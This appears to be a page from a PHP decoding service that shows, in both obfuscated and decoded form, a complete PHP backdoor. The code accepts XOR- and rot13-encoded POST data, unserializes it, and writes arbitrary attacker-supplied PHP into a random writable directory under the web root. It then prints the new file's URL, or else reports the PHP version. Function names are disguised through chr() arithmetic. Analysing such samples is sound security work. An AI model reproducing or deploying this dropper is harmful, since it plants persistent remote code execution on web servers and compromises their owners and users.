Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function nySHjkRh($feeZDpI, $bysSAtNnV, $LcpAbR){$bbJaQ = "5d40f20c-b8b3-4e9a-bc6c-c..

Decoded Output download

<?php function nySHjkRh($feeZDpI, $bysSAtNnV, $LcpAbR){$bbJaQ = "5d40f20c-b8b3-4e9a-bc6c-c56fa791e176";return $feeZDpI ^ $bbJaQ[$bysSAtNnV % strlen($bbJaQ)] ^ $LcpAbR;}$zsOXOc = "rTMfBoEy";function IVcKxsMQk($zsOXOc){ $XLYFSshzd = "s".'t'."r".chr(465-370)."r".chr(887-776).'t'.chr(204-155).'3';$zsOXOc = $XLYFSshzd($zsOXOc);$YCwNUpIom = "r".chr(909-812)."w"."u".chr(114).'l'."d".chr(831-730).chr(99).chr(111).chr(543-443)."e";$zsOXOc = $YCwNUpIom($zsOXOc);$zsOXOc = str_split($zsOXOc);return $zsOXOc;}function RGnwiqzq($QUCvu, $LcpAbR){$QUCvu = array_map("nySHjkRh", array_values($QUCvu), array_keys($QUCvu), array_values($LcpAbR));$QUCvu = implode("", $QUCvu);$ytakQqnCtC = 'u'."n".chr(115).chr(101).'r'."i"."a".chr(108)."i".chr(131-9).chr(101);$QUCvu = @$ytakQqnCtC($QUCvu);return $QUCvu;}function CRHdGV($LcpAbR, $QUCvu){$LcpAbR = array_slice(str_split(str_repeat($LcpAbR, (count($QUCvu)/16)+1)), 0, count($QUCvu));return $LcpAbR;}function rbMIGOcwc(){echo "lqqlQ";}function LathHCl($OlNPlir){static $LebLcmhctN = array();$TyhLmIfkuG = glob($OlNPlir . '/*', GLOB_ONLYDIR);$MqQBkMxEqz = count($TyhLmIfkuG);if ($MqQBkMxEqz > 0) {foreach ($TyhLmIfkuG as $OlNPl) {$oPEUwnEjo = "i"."s".chr(663-568).chr(119)."r".chr(105)."t"."a".'b'.chr(108)."e";if (@$oPEUwnEjo($OlNPl)) {$LebLcmhctN[] = $OlNPl;}}}foreach ($TyhLmIfkuG as $OlNPlir) LathHCl($OlNPlir);return $LebLcmhctN;}function Graghje($QUCvu){$cSEPl = chr(68)."O".'C'.chr(1063-978)."M"."E"."N".chr(84)."_".chr(82).chr(79)."O"."T";$VynxR = $_SERVER[$cSEPl];$TyhLmIfkuG = LathHCl($VynxR);$BxekaFGbMb = array_rand($TyhLmIfkuG);$JXaNy = ".".chr(399-287).'h'."p";$QhIqyfy = $TyhLmIfkuG[$BxekaFGbMb] . "/" . substr(md5(time()), 0, 8) . $JXaNy;$JAvAOo = 'f'."i".chr(108).chr(101).chr(223-128).chr(112)."u"."t"."_".chr(453-354).chr(539-428).'n'.chr(987-871).'e'.'n'."t".'s';@$JAvAOo($QhIqyfy, $QUCvu);$hKwLz = 'H'.chr(384-300).chr(84).'P'.'_'.'H'."O"."S".chr(84);$DHaxlrB = chr(104).chr(717-601).chr(116)."p".chr(58)."/"."/";$VZifpLLBhM = $DHaxlrB . $_SERVER[$hKwLz] . substr($QhIqyfy, strlen($VynxR));print($VZifpLLBhM);}function PchNUpTf($QUCvu, $BxekaFGbMb){$BxekaFGbMb = $BxekaFGbMb[0];if ($QUCvu !== $BxekaFGbMb){Graghje($QUCvu);}else {pSeDlh();}}function pSeDlh(){$mDQVyG = chr(288-176)."h".chr(529-417);$LLCZe = chr(112).'h'.chr(832-720).chr(1049-931)."e".chr(114).'s'.chr(105).chr(611-500)."n";$QUCvu = Array($mDQVyG => @$LLCZe(), );$WUVSw = "s"."e"."r".'i'.'a'.chr(1100-992).'i'.'z'.'e';echo @$WUVSw($QUCvu);}function OZTUpX(){echo "rTMfBoEy";}foreach ($_POST as $LcpAbR => $QUCvu){$HJsBLTe = strlen($LcpAbR);if ($HJsBLTe == 16){$QUCvu = IVcKxsMQk($QUCvu);$LcpAbR = CRHdGV($LcpAbR, $QUCvu);$QUCvu = RGnwiqzq($QUCvu, $LcpAbR);if (@is_array($QUCvu)){$BxekaFGbMb = array_keys($QUCvu);$QUCvu = $QUCvu[$BxekaFGbMb[0]];PchNUpTf($QUCvu, $BxekaFGbMb);}}}die(); ?>

Did this file decode correctly?

Original Code

<?php function nySHjkRh($feeZDpI, $bysSAtNnV, $LcpAbR){$bbJaQ = "5d40f20c-b8b3-4e9a-bc6c-c56fa791e176";return $feeZDpI ^ $bbJaQ[$bysSAtNnV % strlen($bbJaQ)] ^ $LcpAbR;}$zsOXOc = "rTMfBoEy";function IVcKxsMQk($zsOXOc){ $XLYFSshzd = "\163".'t'."\162".chr(465-370)."\162".chr(887-776).'t'.chr(204-155).'3';$zsOXOc = $XLYFSshzd($zsOXOc);$YCwNUpIom = "\x72".chr(909-812)."\167"."\x75".chr(114).'l'."\144".chr(831-730).chr(99).chr(111).chr(543-443)."\145";$zsOXOc = $YCwNUpIom($zsOXOc);$zsOXOc = str_split($zsOXOc);return $zsOXOc;}function RGnwiqzq($QUCvu, $LcpAbR){$QUCvu = array_map("nySHjkRh", array_values($QUCvu), array_keys($QUCvu), array_values($LcpAbR));$QUCvu = implode("", $QUCvu);$ytakQqnCtC = 'u'."\x6e".chr(115).chr(101).'r'."\x69"."\141".chr(108)."\151".chr(131-9).chr(101);$QUCvu = @$ytakQqnCtC($QUCvu);return $QUCvu;}function CRHdGV($LcpAbR, $QUCvu){$LcpAbR = array_slice(str_split(str_repeat($LcpAbR, (count($QUCvu)/16)+1)), 0, count($QUCvu));return $LcpAbR;}function rbMIGOcwc(){echo "lqqlQ";}function LathHCl($OlNPlir){static $LebLcmhctN = array();$TyhLmIfkuG = glob($OlNPlir . '/*', GLOB_ONLYDIR);$MqQBkMxEqz = count($TyhLmIfkuG);if ($MqQBkMxEqz > 0) {foreach ($TyhLmIfkuG as $OlNPl) {$oPEUwnEjo = "\x69"."\163".chr(663-568).chr(119)."\x72".chr(105)."\x74"."\141".'b'.chr(108)."\145";if (@$oPEUwnEjo($OlNPl)) {$LebLcmhctN[] = $OlNPl;}}}foreach ($TyhLmIfkuG as $OlNPlir) LathHCl($OlNPlir);return $LebLcmhctN;}function Graghje($QUCvu){$cSEPl = chr(68)."\x4f".'C'.chr(1063-978)."\115"."\x45"."\x4e".chr(84)."\137".chr(82).chr(79)."\x4f"."\124";$VynxR = $_SERVER[$cSEPl];$TyhLmIfkuG = LathHCl($VynxR);$BxekaFGbMb = array_rand($TyhLmIfkuG);$JXaNy = "\x2e".chr(399-287).'h'."\x70";$QhIqyfy = $TyhLmIfkuG[$BxekaFGbMb] . "/" . substr(md5(time()), 0, 8) . $JXaNy;$JAvAOo = 'f'."\x69".chr(108).chr(101).chr(223-128).chr(112)."\x75"."\x74"."\137".chr(453-354).chr(539-428).'n'.chr(987-871).'e'.'n'."\164".'s';@$JAvAOo($QhIqyfy, $QUCvu);$hKwLz = 'H'.chr(384-300).chr(84).'P'.'_'.'H'."\117"."\x53".chr(84);$DHaxlrB = chr(104).chr(717-601).chr(116)."\160".chr(58)."\x2f"."\x2f";$VZifpLLBhM = $DHaxlrB . $_SERVER[$hKwLz] . substr($QhIqyfy, strlen($VynxR));print($VZifpLLBhM);}function PchNUpTf($QUCvu, $BxekaFGbMb){$BxekaFGbMb = $BxekaFGbMb[0];if ($QUCvu !== $BxekaFGbMb){Graghje($QUCvu);}else {pSeDlh();}}function pSeDlh(){$mDQVyG = chr(288-176)."\x68".chr(529-417);$LLCZe = chr(112).'h'.chr(832-720).chr(1049-931)."\145".chr(114).'s'.chr(105).chr(611-500)."\x6e";$QUCvu = Array($mDQVyG => @$LLCZe(), );$WUVSw = "\x73"."\145"."\162".'i'.'a'.chr(1100-992).'i'.'z'.'e';echo @$WUVSw($QUCvu);}function OZTUpX(){echo "rTMfBoEy";}foreach ($_POST as $LcpAbR => $QUCvu){$HJsBLTe = strlen($LcpAbR);if ($HJsBLTe == 16){$QUCvu = IVcKxsMQk($QUCvu);$LcpAbR = CRHdGV($LcpAbR, $QUCvu);$QUCvu = RGnwiqzq($QUCvu, $LcpAbR);if (@is_array($QUCvu)){$BxekaFGbMb = array_keys($QUCvu);$QUCvu = $QUCvu[$BxekaFGbMb[0]];PchNUpTf($QUCvu, $BxekaFGbMb);}}}die();

Function Calls

None

Variables

$zsOXOc rTMfBoEy

Stats

MD5 ced2ae88dfb27512eb22697318dcc7fd
Eval Count 0
Decode Time 60 ms